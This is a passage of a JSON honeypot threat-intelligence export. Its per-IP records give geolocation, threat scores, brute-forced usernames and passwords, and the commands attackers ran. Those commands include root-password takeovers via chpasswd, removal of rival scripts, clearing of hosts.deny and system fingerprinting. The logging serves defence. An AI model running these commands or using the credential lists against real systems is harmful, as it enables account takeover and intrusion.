      "first_seen": "2026-04-09T11:29:08.038Z",
      "last_seen": "2026-04-09T11:29:08.039Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T11:29:08.038000+00:00",
        "last_seen_30d": "2026-04-09T11:30:12.737000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.91.16.59": {
      "attack_count": 2,
      "first_seen": "2026-04-01T14:30:51.440Z",
      "last_seen": "2026-04-01T14:31:22.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T14:30:51.440000+00:00",
        "last_seen_30d": "2026-04-01T14:32:25.017000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "50.253.133.58": {
      "attack_count": 2,
      "first_seen": "2026-04-10T19:34:53.326Z",
      "last_seen": "2026-04-10T19:35:07.668Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T19:34:53.326000+00:00",
        "last_seen_30d": "2026-04-10T19:36:14.552000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.39.229.173": {
      "attack_count": 2,
      "first_seen": "2026-04-30T05:38:47.577Z",
      "last_seen": "2026-04-30T05:39:00.751Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 43766,
      "as_org": "Mobile Telecommunication Company Saudi Arabia Joint-Stock company",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:38:47.577000+00:00",
        "last_seen_30d": "2026-04-30T05:40:08.771000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "57.128.159.150": {
      "attack_count": 2,
      "first_seen": "2026-04-28T20:39:34.247Z",
      "last_seen": "2026-04-28T20:39:34.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:39:34.247000+00:00",
        "last_seen_30d": "2026-04-28T20:40:43.660000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "94.240.170.26": {
      "attack_count": 2,
      "first_seen": "2026-04-21T20:54:12.409Z",
      "last_seen": "2026-04-21T20:54:25.023Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kropyvnytskyi",
      "asn": 29436,
      "as_org": "Buryanov Konstantin Volodimirovich",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T20:54:12.409000+00:00",
        "last_seen_30d": "2026-04-21T20:55:25.734000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.121.84.41": {
      "attack_count": 2485,
      "first_seen": "2026-04-20T12:16:00.695Z",
      "last_seen": "2026-04-27T08:18:51.895Z",
      "sessions": 504,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "admin",
        "ftpuser",
        "oracle",
        "testuser",
        "demo",
        "student",
        "test",
        "dev",
        "hadoop",
        "minecraft",
        "steam",
        "ali",
        "deployer",
        "devuser",
        "kevin",
        "aaa"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "P@ssw0rd",
        "password",
        "1234",
        "12345",
        "1qaz@WSX",
        "1",
        "admin123",
        "p@ssw0rd",
        "root",
        "admin",
        "!QAZ2wsx3edc4rfv",
        "0000",
        "102030",
        "1111",
        "11111111",
        "112233",
        "120989"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 43.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3512,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T12:16:00.695000+00:00",
        "last_seen_30d": "2026-04-27T08:20:00.697000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2485,
        "Suricata": 1027
      }
    },
    "182.93.50.90": {
      "attack_count": 1532,
      "first_seen": "2026-04-08T05:42:18.102Z",
      "last_seen": "2026-04-24T23:17:16.772Z",
      "sessions": 152,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "steam",
        "test",
        "git",
        "postgres",
        "ali",
        "ansible",
        "bot",
        "claude",
        "deploy",
        "dev",
        "ftpuser",
        "oracle",
        "peuser",
        "sammy",
        "serv",
        "stack"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234567890",
        "Frappe23",
        "!QAZ2wsx!",
        "!QAZ@WSX3edc4rfv",
        ".",
        "1",
        "1122334455",
        "112233ee",
        "123",
        "123!@#qweQWE",
        "123456!",
        "123456789",
        "1234567890!",
        "1234qwer",
        "123QWE123qwe",
        "123mudar",
        "1q2w3e4R"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123!@#qweQWE\\nkoITCfpSSQQ9\\nkoITCfpSSQQ9\\n\"|passwd",
        "echo \"1234567890\\n4YsckcS5qWh3\\n4YsckcS5qWh3\\n\"|passwd",
        "echo \"Oracle!@#$\\nHShKC0ND2qwV\\nHShKC0ND2qwV\\n\"|passwd",
        "echo \"Test26\\nNhbL0Nhvy2Xi\\nNhbL0Nhvy2Xi\\n\"|passwd",
        "echo \"User@2025\\ngXLMsynSKCsS\\ngXLMsynSKCsS\\n\"|passwd",
        "echo \"peuser\\n2FkevW9bDREn\\n2FkevW9bDREn\\n\"|passwd",
        "echo \"qazwsx\\nBZPUtcqDBeqy\\nBZPUtcqDBeqy\\n\"|passwd",
        "echo \"qwerty\\nx5XcpDJd6nxo\\nx5XcpDJd6nxo\\n\"|passwd",
        "echo \"root:48kMfCXkoAG3\"|chpasswd|bash",
        "echo \"root:6IbC30QIrbJj\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1911,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:42:18.102000+00:00",
        "last_seen_30d": "2026-04-24T23:18:18.935000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1532,
        "Suricata": 379
      }
    },
    "51.158.22.37": {
      "attack_count": 925,
      "first_seen": "2026-04-10T01:24:14.374Z",
      "last_seen": "2026-04-12T04:54:03.795Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "test",
        "bot",
        "claude",
        "frappe",
        "postgres",
        "sammy",
        "tester",
        "user03",
        "user2",
        "caduser",
        "csuser",
        "deploy",
        "git",
        "jenkins",
        "judith",
        "justine"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "!1qaz@2wsx",
        "1234",
        "1234-qwerty",
        "123P@ssword",
        "123asdZXC",
        "123mudar",
        "1Qwerty",
        "1qaz2wsx",
        "1qaz3edc",
        "28092026",
        "2wsx@WSX",
        "Admin1234#",
        "BBzz000",
        "CDtianrun888",
        "Claude7",
        "Frappe03!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nqkRBVDsxO3EZ\\nqkRBVDsxO3EZ\\n\"|passwd",
        "echo \"123456\\nOqyqBEgRxwA8\\nOqyqBEgRxwA8\\n\"|passwd",
        "echo \"1qaz2wsx\\nDmYAjzUo1Wj3\\nDmYAjzUo1Wj3\\n\"|passwd",
        "echo \"Test4\\nJSWSGd25fZE6\\nJSWSGd25fZE6\\n\"|passwd",
        "echo \"User!@\\nCi50yk8pl3sK\\nCi50yk8pl3sK\\n\"|passwd",
        "echo \"frappe2026!\\nQMDD81Pxj6Vs\\nQMDD81Pxj6Vs\\n\"|passwd",
        "echo \"root:4uWDQjIpr7Rt\"|chpasswd|bash",
        "echo \"root:qiTBnXKIZwc1\"|chpasswd|bash",
        "echo -e \"12345678\\nqkRBVDsxO3EZ\\nqkRBVDsxO3EZ\"|passwd|bash",
        "echo -e \"123456\\nOqyqBEgRxwA8\\nOqyqBEgRxwA8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1128,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:24:14.374000+00:00",
        "last_seen_30d": "2026-04-12T04:55:07.865000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 925,
        "Suricata": 203
      }
    },
    "186.233.118.22": {
      "attack_count": 787,
      "first_seen": "2026-04-01T23:10:57.042Z",
      "last_seen": "2026-04-29T09:12:56.780Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "es",
        "ftpadmin",
        "odoo8",
        "postgres",
        "admin",
        "appuser",
        "claude",
        "deploy",
        "digital",
        "gitlab",
        "gitolite",
        "mcadmin",
        "mike",
        "mysql",
        "n8n",
        "openvpn",
        "qq"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345",
        "admin123",
        "password",
        "09876543",
        "1234qwe",
        "12356789",
        "1235813",
        "142857",
        "1QAZ2wsx!@",
        "1q2w3e4r",
        "35",
        "Aa123321",
        "Aa134679",
        "Aa@123456",
        "Abcqwe123",
        "Asdewq123",
        "Ir123456@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nlNbdNLxuS4Di\\nlNbdNLxuS4Di\\n\"|passwd",
        "echo \"35\\nqitybfJKOiKg\\nqitybfJKOiKg\\n\"|passwd",
        "echo \"User2025!\\n7vSDMDaTuu9N\\n7vSDMDaTuu9N\\n\"|passwd",
        "echo \"odoo8\\n6GeYSPVTpGXh\\n6GeYSPVTpGXh\\n\"|passwd",
        "echo \"root:0TouLbeZcDBg\"|chpasswd|bash",
        "echo \"root:VvDTJutvq8KV\"|chpasswd|bash",
        "echo -e \"12345\\nlNbdNLxuS4Di\\nlNbdNLxuS4Di\"|passwd|bash",
        "echo -e \"35\\nqitybfJKOiKg\\nqitybfJKOiKg\"|passwd|bash",
        "echo -e \"User2025!\\n7vSDMDaTuu9N\\n7vSDMDaTuu9N\"|passwd|bash",
        "echo -e \"odoo8\\n6GeYSPVTpGXh\\n6GeYSPVTpGXh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 266181,
      "as_org": "GOLDEN LINK",
      "threat_score": 63.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 988,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T23:10:57.042000+00:00",
        "last_seen_30d": "2026-04-29T09:14:01.870000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 787,
        "Suricata": 201
      }
    },
    "171.25.158.47": {
      "attack_count": 730,
      "first_seen": "2026-04-11T14:50:32.438Z",
      "last_seen": "2026-04-16T17:05:03.640Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "dev",
        "devuser",
        "git",
        "laura",
        "manager",
        "test",
        "xw",
        "admin",
        "anton",
        "app",
        "bayu",
        "carlos",
        "deploy",
        "deployer",
        "gitlab-runner",
        "m1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "123456",
        "!2qwaszx",
        "!@#QWE123",
        "000000",
        "1",
        "102026",
        "123",
        "123321",
        "1234",
        "123456798",
        "123mudar",
        "13082025",
        "1qaz@WSX",
        "8888",
        "Abcd12345678@#",
        "Admin20!",
        "Admin@12#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nWIfasilXooiS\\nWIfasilXooiS\\n\"|passwd",
        "echo \"1234\\nBAUHFUMZWbOh\\nBAUHFUMZWbOh\\n\"|passwd",
        "echo \"laura\\nMz0FzReERFka\\nMz0FzReERFka\\n\"|passwd",
        "echo \"root:HRRCnmCCMURM\"|chpasswd|bash",
        "echo \"root:ProYE6qLSYjM\"|chpasswd|bash",
        "echo \"root:jxfnqkLgL54O\"|chpasswd|bash",
        "echo \"xw\\nCsDxl9yTLd4i\\nCsDxl9yTLd4i\\n\"|passwd",
        "echo -e \"123456\\nWIfasilXooiS\\nWIfasilXooiS\"|passwd|bash",
        "echo -e \"1234\\nBAUHFUMZWbOh\\nBAUHFUMZWbOh\"|passwd|bash",
        "echo -e \"laura\\nMz0FzReERFka\\nMz0FzReERFka\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 875,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T14:50:32.438000+00:00",
        "last_seen_30d": "2026-04-16T17:06:05.528000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 730,
        "Suricata": 145
      }
    },
    "131.161.249.165": {
      "attack_count": 592,
      "first_seen": "2026-04-06T05:25:19.386Z",
      "last_seen": "2026-04-14T13:22:40.901Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "dev",
        "steam",
        "vpn",
        "admin",
        "ali",
        "ansible",
        "asmon",
        "bot",
        "claude",
        "frappe",
        "ftpuser",
        "n8n",
        "nmr",
        "postgres",
        "qa",
        "rancher",
        "release"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123321",
        "123qwe",
        "7777777",
        "7ujm#$",
        "A12345689",
        "Aa123654",
        "Abc@123456",
        "Asdf2025",
        "Bapu@0987",
        "Bot@",
        "Claude14",
        "Ftpuser01!",
        "N8n0",
        "P@ssw0rd",
        "P@ssw0rd123",
        "P@ssw0rd2026",
        "Passw0rd!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy12345678\\nGaNRrD13nknF\\nGaNRrD13nknF\\n\"|passwd",
        "echo \"dev@2025\\nqGe0AFgcTMZj\\nqGe0AFgcTMZj\\n\"|passwd",
        "echo \"root:Fjvl2rvdARoB\"|chpasswd|bash",
        "echo \"root:NZEKWnzOnrIl\"|chpasswd|bash",
        "echo \"root:O9nyfAsxfNBB\"|chpasswd|bash",
        "echo -e \"deploy12345678\\nGaNRrD13nknF\\nGaNRrD13nknF\"|passwd|bash",
        "echo -e \"dev@2025\\nqGe0AFgcTMZj\\nqGe0AFgcTMZj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ewbank da C\u00e2mara",
      "asn": 264403,
      "as_org": "CMTECH Com.e Serv.de Informatica Ltda",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 734,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:25:19.386000+00:00",
        "last_seen_30d": "2026-04-14T13:23:43.302000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 142
      }
    },
    "152.52.15.213": {
      "attack_count": 528,
      "first_seen": "2026-04-11T12:26:34.219Z",
      "last_seen": "2026-04-22T10:02:04.370Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser",
        "steam",
        "test",
        "admin",
        "admin1234",
        "ali",
        "connect",
        "csgo",
        "developer",
        "frappe",
        "ftp-test",
        "mani",
        "openstack",
        "server",
        "sonarqube",
        "str",
        "t"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123123",
        "12341234",
        "123456789!",
        "12345Qwerty",
        "123ftpuser123",
        "1qaz@WSX3edc$RFV@",
        "54321",
        "6yhnMJU&",
        "A1234567J",
        "Admin2",
        "Admin@123#",
        "Password@12",
        "QQcc000",
        "Qazwsx01",
        "Qwertyuiop!!",
        "Qwertyuiop2023",
        "Root000@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root2025\\n4EuMzoxesuNi\\n4EuMzoxesuNi\\n\"|passwd",
        "echo \"root:17TDszmFY1Vv\"|chpasswd|bash",
        "echo \"root:FBlmoeVa6Rm5\"|chpasswd|bash",
        "echo \"root:RYaIZeS0tYQG\"|chpasswd|bash",
        "echo -e \"root2025\\n4EuMzoxesuNi\\n4EuMzoxesuNi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 660,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:26:34.219000+00:00",
        "last_seen_30d": "2026-04-22T10:03:05.720000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 528,
        "Suricata": 132
      }
    },
    "103.82.92.202": {
      "attack_count": 526,
      "first_seen": "2026-04-05T15:14:39.869Z",
      "last_seen": "2026-04-06T19:08:16.673Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "deploy",
        "dev",
        "ec2-user",
        "hamza",
        "monitor",
        "test",
        "admin1",
        "bot",
        "bryan",
        "deployer",
        "frappe",
        "ir",
        "n8n",
        "postgres",
        "pwserver",
        "sammy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "0102026405",
        "111",
        "123",
        "1234",
        "7758521",
        "Admin12@",
